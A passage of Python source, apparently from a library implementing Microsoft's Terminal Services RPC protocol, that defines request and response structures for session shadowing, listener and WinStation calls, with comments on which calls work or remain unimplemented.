(\n        ('TargetSessionId', ULONG),\n        ('eRequestControl', SHADOW_CONTROL_REQUEST),\n        ('eRequestPermission', SHADOW_PERMISSION_REQUEST),\n        ('cchInvitation', ULONG),\n    )\n\nclass RpcShadow2Response(NDRCALL):\n    structure = (\n        ('pePermission', SHADOW_REQUEST_RESPONSE),\n        ('pszInvitation', WSTR),\n        ('ErrorCode', ULONG),\n    )\n\n#OLD 3.4.4.1.6 RpcShadow (Opnum 5)\n# Probably deprecated. Taken from [MS-TSTS] – v20080207\nclass RpcShadow(NDRCALL):\n    opnum = 5\n    structure = (\n        ('szTargetServerName', WSTR),\n        ('TargetSessionId', ULONG),\n        ('HotKeyVk', BYTE),\n        ('HotkeyModifiers', USHORT),\n    )\n\nclass RpcShadowResponse(NDRCALL):\n    structure = (\n        ('ErrorCode', ULONG),\n    )\n\n#OLD 3.4.4.1.7 RpcShadowTarget (Opnum 6)\n# Probably deprecated. Taken from [MS-TSTS] – v20080207\nclass RpcShadowTarget(NDRCALL):\n    '''\n    HRESULT RpcShadowTarget(\n    [in] handle_t hBinding,\n    [in] ULONG SessionId,\n    [in, size_is(ConfigSize)] PBYTE pConfig,\n    [in, range(0, 0x8000)] ULONG ConfigSize,\n    [in, size_is(AddressSize)] PBYTE pAddress,\n    [in, range(0, 0x1000)] ULONG AddressSize,\n    [in, size_is(ModuleDataSize)] PBYTE pModuleData,\n    [in, range(0, 0x1000)] ULONG ModuleDataSize,\n    [in, size_is(ThinwireDataSize)]\n    PBYTE pThinwireData,\n    [in, range(0, 0x1000)] ULONG ThinwireDataSize,\n    [in, string] WCHAR* szClientName\n    );\n    '''\n    opnum = 6\n\nclass RpcShadowTargetResponse(NDRCALL):\n    structure = (\n        ('Buffer', UNKNOWNDATA),\n    )\n\n#OLD 3.4.4.1.8 RpcShadowStop (Opnum 7)\n# Probably deprecated. Taken from [MS-TSTS] – v20080207\nclass RpcShadowStop(NDRCALL):\n    opnum = 7\n    structure = (\n        ('SessionId', ULONG),\n    )\n\nclass RpcShadowStopResponse(NDRCALL):\n    structure = (\n        ('ErrorCode', ULONG),\n    )\n\n\n# 3.5.4.1.6 RpcGetAllListeners (Opnum 8)\nclass RpcGetAllListeners(NDRCALL):\n    opnum = 8\n    structure = (\n        ('Level', DWORD),\n    )\n\nclass RpcGetAllListenersResponse(NDRCALL):\n    structure = (\n        ('ppListeners', PLISTENERENUM),\n        ('pNumListeners', ULONG),\n        ('ErrorCode', ULONG),\n    )\n\n#NOT_IMPLEMENTED 3.5.4.1.7 RpcGetSessionProtocolLastInputTime (Opnum 9)\nclass RpcGetSessionProtocolLastInputTime(NDRCALL):\n    opnum = 9\n    '''\n    HRESULT RpcGetSessionProtocolLastInputTime(\n    [in] handle_t hBinding,\n    [in] ULONG SessionId,\n    [in] PROTOCOLSTATUS_INFO_TYPE InfoType,\n    [out, size_is(,*pcbProtoStatus )]\n    unsigned char** ppProtoStatus,\n    [out] ULONG* pcbProtoStatus,\n    [out] hyper* pLastInputTime\n    );\n    '''\n\nclass RpcGetSessionProtocolLastInputTimeResponse(NDRCALL):\n    structure = (\n        ('Data', UNKNOWNDATA),\n    )\n\n#NOT_IMPLEMENTED 3.5.4.1.8 RpcGetUserCertificates (Opnum 10)\nclass RpcGetUserCertificates(NDRCALL):\n    opnum = 10\n    '''\n    HRESULT RpcGetUserCertificates(\n    [in] handle_t hBinding,\n    [in] ULONG SessionId,\n    [out] ULONG* pcCerts,\n    [out, size_is(, *pcbCerts)] byte** ppbCerts,\n    [out] ULONG* pcbCerts\n    );'''\n\nclass RpcGetUserCertificatesResponse(NDRCALL):\n    structure = (\n        ('Data', UNKNOWNDATA),\n    )\n\n#NOT_IMPLEMENTED 3.5.4.1.9 RpcQuerySessionData (Opnum 11)\nclass RpcQuerySessionData(NDRCALL):\n    # Was unsuccess to implement this\n    '''\n    HRESULT RpcQuerySessionData(\n        [in] handle_t hBinding,\n        [in] ULONG SessionId,\n        [in] QUERY_SESSION_DATA_TYPE type,\n        [in, unique, size_is(cbInputData )] byte* pbInputData,\n        [in, range(0, 8192)] DWORD cbInputData,\n        [out, ref, size_is(cbSessionData), length_is(*pcbReturnLength)] byte* pbSessionData,\n        [in, range(0, 8192)] ULONG cbSessionData,\n        [out, ref] ULONG* pcbReturnLength,\n        [out, ref] ULONG* pcbRequireBufferSize\n    );\n    '''\n    opnum = 11\n\nclass RpcQuerySessionDataResponse(NDRCALL):\n    structure = (\n        ('Buffer', UNKNOWNDATA),\n    )\n\n\n# 3.5.4.2 RCMListener 497d95a6-2d27-4bf5-9bbd-a6046957133c \\pipe\\TermSrv_API_service or \\pipe\\Ctx_WinStation_API_service\n# 3.5.4.2.1 RpcOpenListener (Opnum 0)\nclass RpcOpenListener(NDRCALL):\n    opnum = 0\n    structure = (\n        ('szListenerName', WSTR),\n    )\n\nclass RpcOpenListenerResponse(NDRCALL):\n    structure = (\n        ('phListener', HLISTENER),\n        ('ErrorCode', ULONG),\n    )\n\n# 3.5.4.2.2 RpcCloseListener (Opnum 1)\nclass RpcCloseListener(NDRCALL):\n    opnum = 1\n    structure = (\n        ('phListener', HLISTENER),\n    )\n\nclass RpcCloseListenerResponse(NDRCALL):\n    structure = (\n        ('phListener', HLISTENER),\n        ('ErrorCode', ULONG),\n    )\n\n# 3.5.4.2.3 RpcStopListener (Opnum 2)\nclass RpcStopListener(NDRCALL):\n    opnum = 2\n    structure = (\n        ('phListener', HLISTENER),\n    )\n\nclass RpcStopListenerResponse(NDRCALL):\n    structure = (\n        ('ErrorCode', ULONG),\n    )\n\n# 3.5.4.2.4 RpcStartListener (Opnum 3)\nclass RpcStartListener(NDRCALL):\n    opnum = 3\n    structure = (\n        ('phListener', HLISTENER),\n    )\n\nclass RpcStartListenerResponse(NDRCALL):\n    structure = (\n        ('ErrorCode', ULONG),\n    )\n\n# 3.5.4.2.5 RpcIsListening (Opnum 4)\nclass RpcIsListening(NDRCALL):\n    opnum = 4\n    structure = (\n        ('phListener', HLISTENER),\n    )\n\nclass RpcIsListeningResponse(NDRCALL):\n    structure = (\n        ('pbIsListening', BOOLEAN),\n        ('ErrorCode', ULONG),\n    )\n\n# 3.7.4.1 LegacyApi 5ca4a760-ebb1-11cf-8611-00a0245420ed \\pipe\\Ctx_WinStation_API_service\n# 3.7.4.1.1 RpcWinStationOpenServer (Opnum 0)\nclass RpcWinStationOpenServer(NDRCALL):\n    opnum = 0\n    structure = (\n        ('hBinding', handle_t),\n    )\n\nclass RpcWinStationOpenServerResponse(NDRCALL):\n    structure = (\n        ('pResult', pResult_ENUM),\n        ('phServer', SERVER_HANDLE),\n        ('ErrorCode', BOOLEAN),\n    )\n\n# 3.7.4.1.2 RpcWinStationCloseServer (Opnum 1)\nclass RpcWinStationCloseServer(NDRCALL):\n    opnum = 1\n    structure = (\n        ('hServer', SERVER_HANDLE),\n    )\n\nclass RpcWinStationCloseServerResponse(NDRCALL):\n    structure = (\n        ('pResult', pResult_ENUM),\n        ('ErrorCode', BOOLEAN),\n    )\n\n#FIXME 3.7.4.1.3 RpcIcaServerPing (Opnum 2) \n# Expected TRUE got FALSE\nclass RpcIcaServerPing(NDRCALL):\n    opnum = 2\n    structure = (\n        ('hServer', SERVER_HANDLE),\n    )\n\nclass RpcIcaServerPingResponse(NDRCALL):\n    structure = (\n        ('pResult', pResult_ENUM),\n        ('ErrorCode', BOOLEAN),\n    )\n\n#NOT_IMPLEMENTED 3.7.4.1.4 RpcWinStationEnumerate (Opnum 3)\n# Could not guess input types :(\nclass RpcWinStationEnumerate(NDRCALL):\n    '''\n    BOOLEAN RpcWinStationEnumerate(\n    [in] SERVER_HANDLE hServer,\n    [out] DWORD* pResult,\n    [in, out] PULONG pEntries,\n    [in, out, unique, size_is(*pByteCount)]\n    PCHAR pLogonId,\n    [in, out] PULONG pByteCount,\n    [in, out] PULONG pIndex\n    );\n    '''    \n    opnum = 3\n    structure = (\n        ('hServer', SERVER_HANDLE),\n        ('pEntries', PULONG),\n        ('pLogonId', PCHAR),\n        ('pByteCount', PULONG),\n        ('pIndex', PULONG),\n    )\n\nclass RpcWinStationEnumerateResponse(NDRCALL):\n    structure = (\n        ('pResult', UNKNOWNDATA),\n    )\n\n#NOT_IMPLEMENTED 3.7.4.1.5 RpcWinStationRename (Opnum 4)\n# return: 0x00000000, False. Nothing was changed. No error :(\nclass RpcWinStationRename(NDRCALL):\n    '''\n    BOOLEAN RpcWinStationRename(\n        [in] SERVER_HANDLE hServer,\n        [out] DWORD* pResult,\n        [in, size_is(NameOldSize)] PWCHAR pWinStationNameOld,\n        [in, range(0, 256)] DWORD NameOldSize,\n        [in, size_is(NameNewSize)] PWCHAR pWinStationNameNew,\n        [in, range(0, 256)] DWORD NameNewSize\n    );\n    '''\n    opnum = 4\n    structure = (\n        ('hServer', SERVER_HANDLE),\n        ('pWinStationNameOld', TS_WCHAR),\n        ('NameOldSize', '<L=len(pWinStationNameOld[\"Data\"])'),\n        ('pWinStationNameNew', TS_WCHAR),\n        ('NameNewSize', '<L=len(pWinStationNameNew[\"Data\"])'),\n    )\n\nclass RpcWinStationRenameResponse(NDRCALL):\n    structure = (\n        ('pResult', pResult_ENUM),\n        ('ErrorCode', BOOLEAN),\n    )\n\n#NOT_IMPLEMENTED 3.7.4.1.6 RpcWinStationQueryInformation (Opnum 5)\n#TODO needs implementing a lot of different structures to meet requirements in the call\nclass RpcWinStationQueryInformation(NDRCALL):\n    '''\n    BOOLEAN RpcWinStationQueryInformation(\n        [in] SERVER_HANDLE hServer,\n        [out] DWORD* pResult,\n        [in] DWORD LogonId,\n        [in] DWORD WinStationInformationClass,\n        [in, out, unique, size_is(WinStationInformationLength)]\n        PCHAR pWinStationInformation,\n        [in, range(0, 0x8000)] DWORD WinStationInformationLength,\n        [out] DWORD* pReturnLength\n    );\n    '''\n    opnum = 5\n    structure = (\n        ('hServer', SERVER_HANDLE),\n        ('LogonId', DWORD),\n        ('WinStationInformationClass', DWORD),\n        # ('pWinStationInformation', TS_WCHAR),\n        # ('WinStationInformationLength', DWORD),\n        ('buff', ':'),\n    )\n\nclass RpcWinStationQueryInformationResponse(NDRCALL):\n    structure = (\n        ('Buffer', UNKNOWNDATA),\n    )\n\n#NOT_IMPLEMENTED 3.7.4.1.7 RpcWinStationSetInformation (Opnum 6)\n#TODO needs implementing a lot of different structures to meet requirements in the call\nclass RpcWinStationSetInformation(NDRCALL):\n    '''\n    BOOLEAN RpcWinStationSetInformation(\n    [in] SERVER_HANDLE hServer,\n    [out] DWORD* pResult,\n    [in] DWORD LogonId,\n    [in] DWORD WinStationInformationClass,\n    [in, out, unique, size_is(WinStationInformationLength)]\n    PCHAR pWinStationInformation,\n    [in, range(0, 0x8000)] DWORD WinStationInformationLength\n    );\n    '''\n    opnum = 6\nclass RpcWinStationSetInformationResponse(NDRCALL):\n    structure = (\n        ('Buffer', UNKNOWNDATA),\n    )\n\n# 3.7.4.1.8 RpcWinStationSendMessage (Opnum 7)\nclass RpcWinStationSendMessage(NDRCALL):\n    opnum = 7\n    structure = (\n        ('hServer', SERVER_HANDLE),\n        ('LogonId', DWORD),\n        ('pTitle', TS_WCHAR),\n        ('TitleLength', '<L=len(pTitle[\"Data\"])'),\n        ('pMessage', TS_WCHAR),\n        ('MessageLength', '<L=len(pMessage[\"Data\"])'),\n        ('Style', DWORD),\n        ('Timeout', DWORD),\n        ('DoNotWait', BOOLEAN),\n    )    \nclass RpcWinStationSendMessageResponse(NDRCALL):\n    structure = (\n        ('pResult', pResult_ENUM),\n        ('pResponse', DWORD),\n        ('ErrorCode', BOOLEAN),\n    )\n    \n# 3.7.4.1.9 RpcLogonIdFromWinStationName (Opnum 8)\nclass RpcLogonIdFromWinStationName(NDRCALL):\n    opnum = 8\n    structure = (\n        ('hServer', SERVER_HANDLE),\n        ('pWinStationName', TS_WCHAR),\n        ('NameSize', '<L=len(pWinStationName[\"Data\"])'),\n    )\n\nclass RpcLogonIdFromWinStationNameResponse(NDRCALL):\n    structure = (\n        ('pResult', pResult_ENUM),\n        ('pLogonId', DWORD),\n        ('ErrorCode', BOOLEAN),\n    )\n\n# 3.7.4.1.10 RpcWinStationNameFromLogonId (Opnum 9)\nclass RpcWinStationNameFromLogonId(NDRCALL):\n    opnum = 9\n    structure = (\n        ('hServer', SERVER_HANDLE),\n        ('LoginId', DWORD),\n        ('pWinStationName', TS_WCHAR),\n        ('NameSize', '<L=%d' % (WINSTATIONNAME_LENGTH+1)),\n    )\n\nclass RpcWinStationNameFromLogonIdResponse(NDRCALL):\n    structure = (\n        ('pResult', pResult_ENUM),\n        ('pWinStationName', TS_WCHAR_STRIPPED),\n        ('ErrorCode', BOOLEAN),\n    )\n\n# 3.7.4.1.11 RpcWinStationConnect (Opnum 10)\nclass RpcWinStationConnect(NDRCALL):\n    opnum = 10\n    structure = (\n        ('hServer', SERVER_HANDLE),\n        ('ClientLogonId', DWORD),\n        ('ConnectLogonId', DWORD),\n        ('TargetLogonId', DWORD),\n        ('pPassword', TS_WCHAR),\n        ('PasswordSize', '<L=len(pPassword[\"Data\"])'),\n        ('Wait', BOOLEAN),\n    )\n\nclass RpcWinStationConnectResponse(NDRCALL):\n    structure = (\n        ('pResult', pResult_ENUM),\n        ('ErrorCode', BOOLEAN),\n    )\n#OLD 3.6.4.1.12 RpcWinStationVirtualOpen (Opnum 11)\n# Does not work remotely\nclass RpcWinStationVirtualOpen(NDRCALL):\n    opnum = 11\n    structure = (\n        ('hServer', SERVER_HANDLE),\n        ('LogonId', DWORD),\n        ('Pid', DWORD),\n        ('pVirtualName', TS_CHAR),\n        ('NameSize', '<L=len(pVirtualName[\"Data\"])'),\n    ) \nclass RpcWinStationVirtualOpenResponse(NDRCALL):\n    structure = (\n        ('pResult', pResult_ENUM),\n        ('pHandle', ULONG),\n        ('ErrorCode', BOOLEAN),\n    )    \n#OLD 3.6.4.1.13 RpcWinStationBeepOpen (Opnum 12)\n# Does not work remotely\nclass RpcWinStationBeepOpen(NDRCALL):\n    opnum = 12\n    structure = (\n        ('hServer', SERVER_HANDLE),\n        ('LogonId', DWORD),\n        ('Pid', DWORD),\n    ) \nclass RpcWinStationBeepOpenResponse(NDRCALL):\n    structure = (\n        ('pResult', pResult_ENUM),\n        ('pHandle', ULONG),\n        ('ErrorCode', BOOLEAN),\n    ) \n# 3.7.4.1.12 RpcWinStationDisconnect (Opnum 13)\nclass RpcWinStationDisconnect(NDRCALL):\n    opnum = 13\n    structure = (\n        ('hServer', SERVER_HANDLE),\n        ('LoginId', DWORD),\n        ('bWait', BOOLEAN),\n    )\n\nclass RpcWinStationDisconnectResponse(NDRCALL):\n    structure = (\n        ('pResult', pResult_ENUM),\n        ('ErrorCode', BOOLEAN),\n    )\n# 3.7.4.1.13 RpcWinStationReset (Opnum 14)\nclass RpcWinStationReset(NDRCALL):\n    opnum = 14\n    structure = (\n        ('hServer', SERVER_HANDLE),\n        ('LogonId', DWORD),\n        ('bWait', BOOLEAN),\n    )\n\nclass RpcWinStationResetResponse(NDRCALL):\n    structure = (\n        ('pResult', pResult_ENUM),\n        ('ErrorCode', BOOLEAN),\n    ) \n# 3.7.4.1.14 RpcWinStationShutdownSystem (Opnum 15)\nclass RpcWinStationShutdownSystem(NDRCALL):\n    opnum = 15\n    structure = (\n        ('hServer', SERVER_HANDLE),\n        ('ClientLogonId', DWORD),\n        ('ShutdownFlags', DWORD),\n    )\n\nclass RpcWinStationShutdownSystemResponse(NDRCALL):\n    structure = (\n        ('pResult', pResult_ENUM),\n        ('ErrorCode', BOOLEAN),\n    ) \n# 3.7.4.1.15 RpcWinStationWaitSystemEvent (Opnum 16)\nclass RpcWinStationWaitSystemEvent(NDRCALL):\n    opnum = 16\n    structure = (\n        ('hServer', SERVER_HANDLE),\n        ('EventMask', DWORD),\n    )\n\nclass RpcWinStationWaitSystemEventResponse(NDRCALL):\n    structure = (\n        ('pResult', pResult_ENUM),\n        ('pEventFlags', DWORD),\n        ('ErrorCode', BOOLEAN),\n    ) \n# 3.7.4.1.16 RpcWinStationShadow (Opnum 17)\n# Does not work :(\nclass RpcWinStationShadow(NDRCALL):\n    opnum = 17\n    structure = (\n        ('hServer', SERVER_HANDLE),\n        ('LogonId', DWORD),\n        ('pTargetServerName', TS_LPWCHAR),\n        ('NameSize', '<L=len(pTargetServerName[\"Data\"])'),\n        ('TargetLogonId', DWORD),\n        ('HotKeyVk', BYTE),\n        ('HotkeyModifiers', USHORT),\n    )\n\nclass RpcWinStationShadowResponse(NDRCALL):\n    structure = (\n        ('pResult', pResult_ENUM),\n        ('ErrorCode', BOOLEAN),\n    )\n#OLD 3.6.4.1.19 RpcWinStationShadowTargetSetup (Opnum 18)\nclass RpcWinStationShadowTargetSetup(NDRCALL):\n    opnum = 18\n    structure = (\n        ('hServer', SERVER_HANDLE),\n        ('LogonId', DWORD),\n    )\n\nclass RpcWinStationShadowTargetSetupResponse(NDRCALL):\n    structure = (\n        ('pResult', pResult_ENUM),\n        ('ErrorCode', BOOLEAN),\n    )\n#OLD 3.6.4.1.20 RpcWinStationShadowTarget (Opnum 19)\n# Not tested\nclass RpcWinStationShadowTarget(NDRCALL):\n    opnum = 19\n    '''\n    BOOLEAN RpcWinStationShadowTarget(\n        [in] SERVER_HANDLE hServer,\n        [out] DWORD* pResult,\n        [in] DWORD LogonId,\n        [in, size_is(ConfigSize)] PBYTE pConfig,\n        [in, range(0, 0x8000)] DWORD ConfigSize,\n        [in, size_is(AddressSize)] PBYTE pAddress,\n        [in, range(0, 0x1000 )] DWORD AddressSize,\n        [in, size_is(ModuleDataSize)] PBYTE pModuleData,\n        [in, range(0, 0x1000 )] DWORD ModuleDataSize,\n        [in, size_is(ThinwireDataSize)]\n        PBYTE pThinwireData,\n        [in] DWORD ThinwireDataSize,\n        [in, size_is(ClientNameSize)] PBYTE pClientName,\n        [in, range(0, 1024 )] DWORD ClientNameSize\n    );\n    '''\n    structure = (\n        ('hServer', SERVER_HANDLE),\n        ('LogonId', DWORD),\n        ('pConfig', PBYTE),\n        ('ConfigSize', DWORD),\n        ('pAddress', PBYTE),\n        ('AddressSize', DWORD),\n        ('pModuleData', PBYTE),\n        ('ModuleDataSize', DWORD),\n        ('pThinwireData', PBYTE),\n        ('ThinwireDataSize', DWORD),\n        ('pClientName', STR),\n        ('ClientNameSize', DWORD),\n    )\n\nclass RpcWinStationShadowTargetResponse(NDRCALL):\n    structure = (\n        ('pResult', pResult_ENUM),\n        ('ErrorCode', BOOLEAN),\n    )\n\n#OLD 3.6.4.1.21 RpcWinStationSetPoolCount (Opnum 26)\n# Not tested\nclass RpcWinStationSetPoolCount(NDRCALL):\n    opnum = 26\n    structure = (\n        ('hServer', SERVER_HANDLE),\n        ('pLicense', TS_CHAR),\n        ('LicenseSize', '<L=len(pLicense[\"Data\"])'),\n    )\n\nclass RpcWinStationSetPoolCountResponse(NDRCALL):\n    structure = (\n        ('pResult', pResult_ENUM),\n        ('ErrorCode', BOOLEAN),\n    )\n#OLD 3.6.4.1.22 RpcWinStationQueryUpdateRequired (Opnum 27)\n# Not tested\nclass RpcWinStationQueryUpdateRequired(NDRCALL):\n    opnum = 27\n    structure = (\n        ('hServer', SERVER_HANDLE),\n    )\n\nclass RpcWinStationQueryUpdateRequiredResponse(NDRCALL):\n    structure = (\n        ('pResult', pResult_ENUM),\n        ('pUpdateFlag', DWORD),\n        ('ErrorCode', BOOLEAN),\n    )\n#OLD 3.6.4.1.23 RpcWinStationCallback (Opnum 28)\n# Not tested \nclass RpcWinStationCallback(NDRCALL):\n    opnum = 28\n    '''\n    BOOLEAN RpcWinStationCallback(\n        [in] SERVER_HANDLE hServer,\n        [out] DWORD* pResult,\n        [in] DWORD LogonId,\n        [in, size_is(PhoneNumberSize)]\n        PWCHAR pPhoneNumber,\n        [in, range(0, 0x1000 )] DWORD PhoneNumberSize\n    );\n    '''\n    structure = (\n        ('hServer', SERVER_HANDLE),\n        ('LogonId', DWORD),\n        ('pPhoneNumber', TS_WCHAR),\n        ('PhoneNumberSize', '<L=len(pPhoneNumber[\"Data\"])'),\n    )\n\nclass RpcWinStationCallbackResponse(NDRCALL):\n    structure = (\n        ('pResult', pResult_ENUM),\n        ('ErrorCode', BOOLEAN),\n    )\n    \n# 3.7.4.1.17 RpcWinStationBreakPoint (Opnum 29)\nclass RpcWinStationBreakPoint(NDRCALL):\n    opnum = 29\n    structure = (\n        ('hServer', SERVER_HANDLE),\n        ('LogonId', DWORD),\n        ('KernelFlag', BOOLEAN),\n    )\n\nclass RpcWinStationBreakPointResponse(NDRCALL):\n    structure = (\n        ('pResult', pResult_ENUM),\n        ('ErrorCode', BOOLEAN),\n    )\n# 3.7.4.1.18 RpcWinStationReadRegistry (Opnum 30)\n# Does not work\nclass RpcWinStationReadRegistry(NDRCALL):\n    opnum = 30\n    structure = (\n        ('hServer', SERVER_HANDLE),\n    )\n\nclass RpcWinStationReadRegistryResponse(NDRCALL):\n    structure = (\n        ('pResult', pResult_ENUM),\n        ('ErrorCode', BOOLEAN),\n    )\n#OLD 3.6.4.1.26 RpcWinStationWaitForConnect (Opnum 31)\n# Does not work\nclass RpcWinStationWaitForConnect(NDRCALL):\n    opnum = 31\n    structure = (\n        ('hServer', SERVER_HANDLE),\n        ('ClientLogonId', DWORD),\n        ('ClientProcessId', DWORD),\n    )\n\nclass RpcWinStationWaitForConnectResponse(NDRCALL): \n    structure = (\n        ('pResult', pResult_ENUM),\n        ('ErrorCode', BOOLEAN),\n    )\n#OLD 3.6.4.1.27 RpcWinStationNotifyLogon (Opnum 32)\n# Unknown\nclass RpcWinStationNotifyLogon(NDRCALL):\n    opnum = 32\n    structure = (\n        ('hServer', SERVER_HANDLE),\n        ('ClientLogonId', DWORD),\n        ('ClientProcessId', DWORD),\n        ('fUserIsAdmin', BOOLEAN),\n        ('UserToken', DWORD),\n        ('pDomain', TS_WCHAR),\n        ('DomainSize', '<L=len(pDomain[\"Data\"])'),\n        ('pUserName', TS_WCHAR),\n        ('UserNameSize', '<L=len(pUserName[\"Data\"])'),\n        ('pPassword', TS_WCHAR),\n        ('PasswordSize', '<L=len(pPassword[\"Data\"])'),\n        ('Seed', UCHAR),\n        ('pUserConfig', TS_CHAR),\n        ('ConfigSize', '<L=len(pUserConfig[\"Data\"])'),\n        ('pfIsRedirected', DWORD),\n    )\n\nclass RpcWinStationNotifyLogonResponse(NDRCALL): \n    structure = (\n        ('pResult', pResult_ENUM),\n        ('pfIsRedirected', BOOLEAN),\n        ('ErrorCode', BOOLEAN),\n    )\n\n#OLD 3.6.4.1.28 RpcWinStationNotifyLogoff (Opnum 33)\n# Unknown\nclass RpcWinStationNotifyLogoff(NDRCALL):\n    opnum = 33\n    structure = (\n        ('hServer', SERVER_HANDLE),\n        ('ClientLogonId', DWORD),\n        ('ClientProcessId', DWORD),\n    )\n\nclass RpcWinStationNotifyLogoffResponse(NDRCALL): \n    structure = (\n        ('pResult', pResult_ENUM),\n        ('ErrorCode', BOOLEAN),\n    )\n# 3.7.4.1.19 OldRpcWinStationEnumerateProcesses (Opnum 34)\n# Does not work\nclass OldRpcWinStationEnumerateProcesses(NDRCALL):\n    opnum = 34\n    structure = (\n        ('hServer', SERVER_HANDLE),\n        ('ByteCount', DWORD),\n    )\n\nclass OldRpcWinStationEnumerateProcessesResponse(NDRCALL):\n    structure = (\n        ('pResult', pResult_ENUM),\n        ('pProcessBuffer', TS_CHAR),\n        ('ErrorCode', BOOLEAN),\n    )\n#OLD 3.6.4.1.29 RpcWinStationAnnoyancePopup (Opnum 35)\n# Does not work\nclass RpcWinStationAnnoyancePopup(NDRCALL):\n    opnum = 35\n    structure = (\n        ('hServer', SERVER_HANDLE),\n        ('LogonIdld', DWORD),\n    )\n\nclass RpcWinStationAnnoyancePopupResponse(NDRCALL):\n    structure = (\n        ('pResult', pResult_ENUM),\n        ('ErrorCode', BOOLEAN),\n        ('buff', UNKNOWNDATA),\n    )\n\n# 3.7.4.1.20 RpcWinStationEnumerateProcesses (Opnum 36)\n# Does not work\nclass RpcWinStationEnumerateProcesses(NDRCALL):\n    opnum = 36\n    structure = (\n        ('hServer', SERVER_HANDLE),\n        ('ByteCount', DWORD),\n    )\n\nclass RpcWinStationEnumerateProcessesResponse(NDRCALL):\n    structure = (\n        ('pResult', pResult_ENUM),\n        ('pProcessBuffer', TS_CHAR),\n        ('ErrorCode', BOOLEAN),\n    )\n# 3.7.4.1.21 RpcWinStationTerminateProcess (Opnum 37)\nclass RpcWinStationTerminateProcess(NDRCALL):\n    opnum = 37\n    structure = (\n        ('hServer', SERVER_HANDLE),\n        ('ProcessId', DWORD),\n        ('ExitCode', DWORD),\n    )\n\nclass RpcWinStationTerminateProcessResponse(NDRCALL):\n    structure = (\n        ('pResult', pResult_ENUM),\n        ('ErrorCode', BOOLEAN),\n    )\n#OLD 3.6.4.1.32 RpcWinStationNtsdDebug (Opnum 42)\n# Unknown\nclass RpcWinStationNtsdDebug(NDRCALL):\n    opnum = 42\n    structure = (\n        ('hServer', SERVER_HANDLE),\n        ('LogonId', DWORD),\n        ('ProcessId', LONG),\n        ('DbgProcessId', ULONG),\n        ('DbgThreadId', ULONG),\n        ('AttachCompletionRoutine', LPDWORD),\n    )\n\nclass RpcWinStationNtsdDebugResponse(NDRCALL):\n    structure = (\n        ('pResult', pResult_ENUM),\n        ('ErrorCode', BOOLEAN),\n    )\n# 3.7.4.1.22 RpcWinStationGetAllProcesses (Opnum 43)\nclass RpcWinStationGetAllProcesses(NDRCALL):\n    opnum = 43\n    structure = (\n        ('hServer', SERVER_HANDLE),\n        ('Level', ULONG),\n        ('pNumberOfProcesses', BOUNDED_ULONG),\n    )\n\nclass RpcWinStationGetAllProcessesResponse(NDRCALL):\n    structure = (\n        ('pResult', pResult_ENUM),\n        ('pNumberOfProcesses', BOUNDED_ULONG),\n        ('buffer',':'),\n    )\n# 3.7.4.1.23 RpcWinStationGetProcessSid (Opnum 44)\nclass RpcWinStationGetProcessSid(NDRCALL):\n    opnum = 44\n    structure = (\n        ('hServer', SERVER_HANDLE),\n        ('dwUniqueProcessId', DWORD),\n        ('ProcessStartTime', LARGE_INTEGER),\n        ('pProcessUserSid', TS_PBYTE),\n        ('dwSidSize', '<L=len(pProcessUserSid[\"Data\"])'),\n        ('pdwSizeNeeded', DWORD),\n    )\n\nclass RpcWinStationGetProcessSidResponse(NDRCALL):\n    structure = (\n        ('pResult', pResult_ENUM),\n        ('pProcessUserSid', TS_PBYTE),\n        ('pdwSizeNeeded', DWORD),\n        ('ErrorCode', BOOLEAN),\n    )\n#NOT_IMPLEMENTED 3.7.4.1.24 RpcWinStationGetTermSrvCountersValue (Opnum 45)\nclass RpcWinStationGetTermSrvCountersValue(NDRCALL):\n    '''\n    BOOLEAN RpcWinStationGetTermSrvCountersValue(\n        [in] SERVER_HANDLE hServer,\n        [out] DWORD* pResult,\n        [in, range(0, 0x1000)] DWORD dwEntries,\n        [in, out, size_is(dwEntries)] PTS_COUNTER pCounter\n    );\n    '''\n    opnum = 45\n    structure = (\n        ('hServer', SERVER_HANDLE),\n        ('dwEntries', DWORD),\n        ('pCounter', PTS_COUNTER),\n    )\n\nclass RpcWinStationGetTermSrvCountersValueResponse(NDRCALL):\n    structure = (\n        ('pResult', pResult_ENUM),\n        ('pCounter', PTS_COUNTER),\n        ('ErrorCode', BOOLEAN),\n    )\n# 3.7.4.1.25 RpcWinStationReInitializeSecurity (Opnum 46)\n# Does not work\nclass RpcWinStationReInitializeSecurity(NDRCALL):\n    opnum = 46\n    structure = (\n        ('hServer', SERVER_HANDLE),\n    )\n\nclass RpcWinStationReInitializeSecurityResponse(NDRCALL):\n    structure = (\n        ('pResult', pResult_ENUM),\n        ('ErrorCode', BOOLEAN),\n    )\n#OLD 3.6.4.1.37 RpcWinStationBroadcastSystemMessage (Opnum 47)\n'''\nLONG RpcWinStationBroadcastSystemMessage(\n [in] SERVER_HANDLE hServer,\n [in] ULONG sessionID,\n [in] ULONG timeOut,\n [in] DWORD dwFlags,\n [in, out, ptr] DWORD* lpdwRecipients,\n [in] ULONG uiMessage,\n [in] UINT_PTR wParam,\n [in] LONG_PTR lParam,\n [in, size_is(bufferSize)] PBYTE pBuffer,\n [in, range(0, 0x8000 )] ULONG bufferSize,\n [in] BOOLEAN fBufferHasValidData,\n [out] LONG* pResponse\n);\n'''\n\n#OLD 3.6.4.1.38 RpcWinStationSendWindowMessage (Opnum 48)\n'''\nLONG RpcWinStationSendWindowMessage(\n [in] SERVER_HANDLE hServer,\n [in] ULONG sessionID,\n [in] ULONG timeOut,\n [in] ULONG hWnd,\n [in] ULONG Msg,\n [in] UINT_PTR wParam,\n [in] LONG_PTR lParam,\n [in, size_is(bufferSize)] PBYTE pBuffer,\n [in, range(0, 0x8000 )] ULONG bufferSize,\n [in] BOOLEAN fBufferHasValidData,\n [out] LONG* pResponse\n);\n'''\n#OLD 3.6.4.1.39 RpcWinStationNotifyNewSession (Opnum 49)\n'''\nBOOLEAN RpcWinStationNotifyNewSession(\n [in] SERVER_HANDLE hServer,\n [out] DWORD* pResult,\n [in] DWORD ClientLogonId\n);\n'''\n\n# 3.7.4.1.26 RpcWinStationGetLanAdapterName (Opnum 53)\n# Does not work\nclass RpcWinStationGetLanAdapterName(NDRCALL):\n    '''\n    BOOLEAN RpcWinStationGetLanAdapterName(\n        [in] SERVER_HANDLE hServer,\n        [out] DWORD* pResult,\n        [in, range(0, 0x1000)] DWORD PdNameSize,\n        [in, size_is(PdNameSize)] PWCHAR pPdName,\n        [in, range(0, 1024)] ULONG LanAdapter,\n        [out] ULONG* pLength,\n        [out, size_is(,*pLength)] PWCHAR* ppLanAdapter\n    );\n    '''\n    opnum = 53\n    structure = 